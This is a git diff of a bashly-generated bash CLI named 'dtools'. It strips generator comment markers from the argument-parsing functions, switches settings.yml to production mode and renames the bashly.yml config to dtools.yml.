@@ dtools_document_decrypt_pdf_parse_requirements() { } -# :command.parse_requirements dtools_git_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -30757,7 +27498,6 @@ dtools_git_parse_requirements() { esac done - # :command.command_filter action=${1:-} case $action in @@ -30770,7 +27510,6 @@ dtools_git_parse_requirements() { shift $# ;; - # :command.command_fallback "") dtools_git_usage >&2 exit 1 @@ -30783,7 +27522,6 @@ dtools_git_parse_requirements() { esac - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -30794,8 +27532,7 @@ dtools_git_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -30806,11 +27543,9 @@ dtools_git_parse_requirements() { } -# :command.parse_requirements dtools_git_search_history_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -30827,10 +27562,8 @@ dtools_git_search_history_parse_requirements() { esac done - # :command.command_filter action="git search-history" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -30841,9 +27574,7 @@ dtools_git_search_history_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['search-string']+x} ]]; then args['search-string']=$1 shift @@ -30857,7 +27588,6 @@ dtools_git_search_history_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['search-string']+x} ]]; then printf "missing required argument: SEARCH-STRING\nusage: dtools git search-history SEARCH-STRING\n" >&2 @@ -30866,11 +27596,9 @@ dtools_git_search_history_parse_requirements() { } -# :command.parse_requirements dtools_plot_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -30887,9 +27615,8 @@ dtools_plot_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v gnuplot >/dev/null 2>&1; then printf "missing dependency: gnuplot\n" >&2 printf "%s\n\n" "See 'http://gnuplot.info/'" >&2 @@ -30898,7 +27625,6 @@ dtools_plot_parse_requirements() { deps['gnuplot']="$(command -v gnuplot | head -n1)" fi - # :dependency.filter if ! command -v loki >/dev/null 2>&1; then printf "missing dependency: loki\n" >&2 printf "%s\n\n" "See 'https://github.com/Dark-Alex-17/loki'" >&2 @@ -30911,17 +27637,14 @@ dtools_plot_parse_requirements() { exit 1 fi - # :command.command_filter action="plot" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --file | -f) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--file']="$2" shift @@ -30932,10 +27655,8 @@ dtools_plot_parse_requirements() { fi ;; - # :flag.case --type | -t) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--type']="$2" shift @@ -30946,33 +27667,26 @@ dtools_plot_parse_requirements() { fi ;; - # :flag.case --stack-vertically) - # :flag.case_no_arg args['--stack-vertically']=1 shift ;; - # :flag.case --multiplot) - # :flag.case_no_arg args['--multiplot']=1 shift ;; - # :flag.case --gui) - # :flag.case_no_arg args['--gui']=1 shift ;; - # :flag.case --loki) - # :flag.conflicts + for conflict in --file --type --stack-vertically --multiplot --gui; do if [[ -n "${args[$conflict]:-}" ]]; then printf "conflicting options: %s cannot be used with %s\n" "$key" "$conflict" >&2 @@ -30980,7 +27694,6 @@ dtools_plot_parse_requirements() { fi done - # :flag.case_no_arg args['--loki']=1 shift ;; @@ -30991,8 +27704,7 @@ dtools_plot_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -31001,17 +27713,14 @@ dtools_plot_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['--file']:-} ]] || args['--file']="-" [[ -n ${args['--type']:-} ]] || args['--type']="line" - # :command.whitelist_filter if [[ ${args['--type']:-} ]] && [[ ! ${args['--type']:-} =~ ^(line|bar)$ ]]; then printf "%s\n" "--type must be one of: line, bar" >&2 exit 1 fi - # :command.user_filter filter_error=$(filter_multiplot_requirements) if [[ -n $filter_error ]]; then echo "$filter_error" >&2 @@ -31026,11 +27735,9 @@ dtools_plot_parse_requirements() { } -# :command.parse_requirements dtools_real_time_plot_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -31047,9 +27754,8 @@ dtools_real_time_plot_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v gnuplot >/dev/null 2>&1; then printf "missing dependency: gnuplot\n" >&2 printf "%s\n\n" "See 'http://gnuplot.info/'" >&2 @@ -31058,7 +27764,6 @@ dtools_real_time_plot_parse_requirements() { deps['gnuplot']="$(command -v gnuplot | head -n1)" fi - # :dependency.filter if ! command -v wget >/dev/null 2>&1; then printf "missing dependency: wget\n" >&2 printf "%s\n\n" "Install with 'brew install wget' or 'sudo apt install wget'" >&2 @@ -31071,10 +27776,8 @@ dtools_real_time_plot_parse_requirements() { exit 1 fi - # :command.command_filter action="real-time-plot" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -31085,8 +27788,7 @@ dtools_real_time_plot_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -31097,11 +27799,9 @@ dtools_real_time_plot_parse_requirements() { } -# :command.parse_requirements dtools_date_to_epoch_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -31118,10 +27818,8 @@ dtools_date_to_epoch_parse_requirements() { esac done - # :command.command_filter action="date-to-epoch" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -31132,9 +27830,7 @@ dtools_date_to_epoch_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['timestamp']+x} ]]; then args['timestamp']=$1 shift @@ -31148,7 +27844,6 @@ dtools_date_to_epoch_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['timestamp']+x} ]]; then printf "missing required argument: TIMESTAMP\nusage: dtools date-to-epoch TIMESTAMP\n" >&2 @@ -31157,11 +27852,9 @@ dtools_date_to_epoch_parse_requirements() { } -# :command.parse_requirements dtools_epoch_to_date_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -31178,10 +27871,8 @@ dtools_epoch_to_date_parse_requirements() { esac done - # :command.command_filter action="epoch-to-date" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -31192,9 +27883,7 @@ dtools_epoch_to_date_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['epoch']+x} ]]; then args['epoch']=$1 shift @@ -31208,7 +27897,6 @@ dtools_epoch_to_date_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['epoch']+x} ]]; then printf "missing required argument: EPOCH\nusage: dtools epoch-to-date EPOCH\n" >&2 @@ -31217,11 +27905,9 @@ dtools_epoch_to_date_parse_requirements() { } -# :command.parse_requirements dtools_date_to_iso_8601_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -31238,10 +27924,8 @@ dtools_date_to_iso_8601_parse_requirements() { esac done - # :command.command_filter action="date-to-iso-8601" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -31252,9 +27936,7 @@ dtools_date_to_iso_8601_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['date']+x} ]]; then args['date']=$1 shift @@ -31268,7 +27950,6 @@ dtools_date_to_iso_8601_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['date']+x} ]]; then printf "missing required argument: DATE\nusage: dtools date-to-iso-8601 DATE\n" >&2 @@ -31277,11 +27958,9 @@ dtools_date_to_iso_8601_parse_requirements() { } -# :command.parse_requirements dtools_view_markdown_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -31298,9 +27977,8 @@ dtools_view_markdown_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v grip >/dev/null 2>&1; then printf "missing dependency: grip\n" >&2 printf "%s\n\n" "Install with 'python3 -m pip install grip'" >&2 @@ -31313,10 +27991,8 @@ dtools_view_markdown_parse_requirements() { exit 1 fi - # :command.command_filter action="view-markdown" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -31327,9 +28003,7 @@ dtools_view_markdown_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['file']+x} ]]; then args['file']=$1 shift @@ -31343,7 +28017,6 @@ dtools_view_markdown_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['file']+x} ]]; then printf "missing required argument: FILE\nusage: dtools view-markdown FILE\n" >&2 @@ -31352,11 +28025,9 @@ dtools_view_markdown_parse_requirements() { } -# :command.parse_requirements dtools_start_simple_server_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -31373,9 +28044,8 @@ dtools_start_simple_server_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v nc >/dev/null 2>&1; then printf "missing dependency: nc\n" >&2 printf "%s\n\n" "Install with 'brew install netcat' or 'sudo apt install netcat'" >&2 @@ -31388,17 +28058,14 @@ dtools_start_simple_server_parse_requirements() { exit 1 fi - # :command.command_filter action="start-simple-server" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --port) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--port']="$2" shift @@ -31415,8 +28082,7 @@ dtools_start_simple_server_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -31425,11 +28091,8 @@ dtools_start_simple_server_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['--port']:-} ]] || args['--port']="8000" - # :command.validations - # :flag.validations if [[ -v args['--port'] ]]; then validation_output="$(validate_port_number "${args['--port']:-}")" if [[ -n "${validation_output}" ]]; then @@ -31440,11 +28103,9 @@ dtools_start_simple_server_parse_requirements() { } -# :command.parse_requirements dtools_fzf_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -31461,9 +28122,8 @@ dtools_fzf_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v fzf >/dev/null 2>&1; then printf "missing dependency: fzf\n" >&2 printf "%s\n\n" "Install with 'brew install fzf'" >&2 @@ -31476,17 +28136,14 @@ dtools_fzf_parse_requirements() { exit 1 fi - # :command.command_filter action="fzf" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --pre-processing) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--pre-processing']="$2" shift @@ -31497,10 +28154,8 @@ dtools_fzf_parse_requirements() { fi ;; - # :flag.case --additional-xargs-arguments) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--additional-xargs-arguments']="$2" shift @@ -31517,9 +28172,7 @@ dtools_fzf_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['command']+x} ]]; then args['command']=$1 shift @@ -31533,16 +28186,13 @@ dtools_fzf_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['command']:-} ]] || args['command']="vi" } -# :command.parse_requirements dtools_backup_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -31559,25 +28209,20 @@ dtools_backup_parse_requirements() { esac done - # :command.command_filter action="backup" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --move) - # :flag.case_no_arg args['--move']=1 shift ;; - # :flag.case --backup-dest) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--backup-dest']="$2" shift @@ -31594,9 +28239,7 @@ dtools_backup_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['item']+x} ]]; then args['item']=$1 shift @@ -31610,15 +28253,12 @@ dtools_backup_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['item']+x} ]]; then printf "missing required argument: ITEM\nusage: dtools backup ITEM [OPTIONS]\n" >&2 exit 1 fi - # :command.validations - # :flag.validations if [[ -v args['--backup-dest'] ]]; then validation_output="$(validate_directory_exists "${args['--backup-dest']:-}")" if [[ -n "${validation_output}" ]]; then @@ -31629,11 +28269,9 @@ dtools_backup_parse_requirements() { } -# :command.parse_requirements dtools_generate_password_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -31650,9 +28288,8 @@ dtools_generate_password_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v openssl >/dev/null 2>&1; then printf "missing dependency: openssl\n" >&2 printf "%s\n\n" "Install with either 'sudo apt install libssl-dev' or 'brew install openssl@3'" >&2 @@ -31661,7 +28298,6 @@ dtools_generate_password_parse_requirements() { deps['openssl']="$(command -v openssl | head -n1)" fi - # :dependency.filter if ! command -v xclip >/dev/null 2>&1; then printf "missing dependency: xclip\n" >&2 printf "%s\n\n" "Install with 'brew install xclip'" >&2 @@ -31674,17 +28310,14 @@ dtools_generate_password_parse_requirements() { exit 1 fi - # :command.command_filter action="generate-password" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --copy-to-clipboard | -c) - # :flag.case_no_arg args['--copy-to-clipboard']=1 shift ;; @@ -31695,8 +28328,7 @@ dtools_generate_password_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -31707,11 +28339,9 @@ dtools_generate_password_parse_requirements() { } -# :command.parse_requirements dtools_play_mp3_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -31728,9 +28358,8 @@ dtools_play_mp3_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v mpg321 >/dev/null 2>&1; then printf "missing dependency: mpg321\n" >&2 printf "%s\n\n" "Install with 'brew install mpg321'" >&2 @@ -31743,10 +28372,8 @@ dtools_play_mp3_parse_requirements() { exit 1 fi - # :command.command_filter action="play-mp3" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -31757,9 +28384,7 @@ dtools_play_mp3_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['sound']+x} ]]; then args['sound']=$1 shift @@ -31773,7 +28398,6 @@ dtools_play_mp3_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['sound']+x} ]]; then printf "missing required argument: SOUND\nusage: dtools play-mp3 SOUND\n" >&2 @@ -31782,11 +28406,9 @@ dtools_play_mp3_parse_requirements() { } -# :command.parse_requirements dtools_random_int_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -31803,17 +28425,14 @@ dtools_random_int_parse_requirements() { esac done - # :command.command_filter action="random-int" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --min) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--min']="$2" shift @@ -31824,10 +28443,8 @@ dtools_random_int_parse_requirements() { fi ;; - # :flag.case --max) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--max']="$2" shift @@ -31844,8 +28461,7 @@ dtools_random_int_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -31854,17 +28470,14 @@ dtools_random_int_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['--min']:-} ]] || args['--min']="0" [[ -n ${args['--max']:-} ]] || args['--max']="10" } -# :command.parse_requirements dtools_random_float_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -31881,17 +28494,14 @@ dtools_random_float_parse_requirements() { esac done - # :command.command_filter action="random-float" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --min) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--min']="$2" shift @@ -31902,10 +28512,8 @@ dtools_random_float_parse_requirements() { fi ;; - # :flag.case --max) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--max']="$2" shift @@ -31916,10 +28524,8 @@ dtools_random_float_parse_requirements() { fi ;; - # :flag.case --precision) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--precision']="$2" shift @@ -31936,8 +28542,7 @@ dtools_random_float_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple + printf "invalid argument: %s\n" "$key" >&2 exit 1 @@ -31946,13 +28551,10 @@ dtools_random_float_parse_requirements() { esac done - # :command.default_assignments [[ -n ${args['--min']:-} ]] || args['--min']="0" [[ -n ${args['--max']:-} ]] || args['--max']="10" [[ -n ${args['--precision']:-} ]] || args['--precision']="5" - # :command.validations - # :flag.validations if [[ -v args['--precision'] ]]; then validation_output="$(validate_integer "${args['--precision']:-}")" if [[ -n "${validation_output}" ]]; then @@ -31963,11 +28565,9 @@ dtools_random_float_parse_requirements() { } -# :command.parse_requirements dtools_record_shell_parse_requirements() { local key - # :command.fixed_flags_filter while [[ $# -gt 0 ]]; do key="$1" case "$key" in @@ -31984,9 +28584,8 @@ dtools_record_shell_parse_requirements() { esac done - # :command.dependencies_filter missing_deps= - # :dependency.filter + if ! command -v asciinema >/dev/null 2>&1; then printf "missing dependency: asciinema\n" >&2 printf "%s\n\n" "Install with 'brew install asciinema'" >&2 @@ -31995,7 +28594,6 @@ dtools_record_shell_parse_requirements() { deps['asciinema']="$(command -v asciinema | head -n1)" fi - # :dependency.filter if ! command -v agg >/dev/null 2>&1; then printf "missing dependency: agg\n" >&2 printf "%s\n\n" "Install with 'cargo install agg'" >&2 @@ -32008,17 +28606,14 @@ dtools_record_shell_parse_requirements() { exit 1 fi - # :command.command_filter action="record-shell" - # :command.parse_requirements_while while [[ $# -gt 0 ]]; do key="$1" case "$key" in - # :flag.case + --speed) - # :flag.case_arg if [[ -n ${2+x} ]]; then args['--speed']="$2" shift @@ -32029,10 +28624,8 @@ dtools_record_shell_parse_requirements() { fi ;; - # :flag.case --no-conversion) - # :flag.case_no_arg args['--no-conversion']=1 shift ;; @@ -32043,9 +28636,7 @@ dtools_record_shell_parse_requirements() { ;; *) - # :command.parse_requirements_case - # :command.parse_requirements_case_simple - # :argument.case + if [[ -z ${args['output_file']+x} ]]; then args['output_file']=$1 shift @@ -32059,28 +28650,24 @@ dtools_record_shell_parse_requirements() { esac done - # :command.required_args_filter if [[ -z ${args['output_file']+x} ]]; then printf "missing required argument: OUTPUT_FILE\nusage: dtools record-shell OUTPUT_FILE [OPTIONS]\n" >&2 exit 1 fi - # :command.default_assignments [[ -n ${args['--speed']:-} ]] || args['--speed']="1" } -# :command.initialize initialize() { declare -g version="1.0.0" set -e } -# :command.run run() { - # :command.globals + declare -g long_usage='' declare -g -A args=() declare -g -A deps=() @@ -32307,9 +28894,6 @@ run() { esac } -if [[ "${BASH_SOURCE[0]}" == "${0}" ]]; then - # :command.start - command_line_args=("$@") - initialize - run "${command_line_args[@]}" -fi +command_line_args=("$@") +initialize +run "${command_line_args[@]}" diff --git a/settings.yml b/settings.yml index 6b01cea..5568135 100644 --- a/settings.yml +++ b/settings.yml @@ -13,7 +13,7 @@ source_dir: src # The path to bashly.yml -config_path: '%{source_dir}/bashly.yml' +config_path: '%{source_dir}/dtools.yml' # The path to use for creating the bash script target_dir: . @@ -45,7 +45,7 @@ compact_short_flags: false # Set to 'production' or 'development': # env: production Generate a smaller script, without file markers # env: development Generate with file markers -env: development +env: production # The extension to use when reading/writing partial script snippets partials_extension: sh diff --git a/src/bashly.yml b/src/dtools.yml similarity index 100% rename from src/bashly.yml rename to src/dtools.yml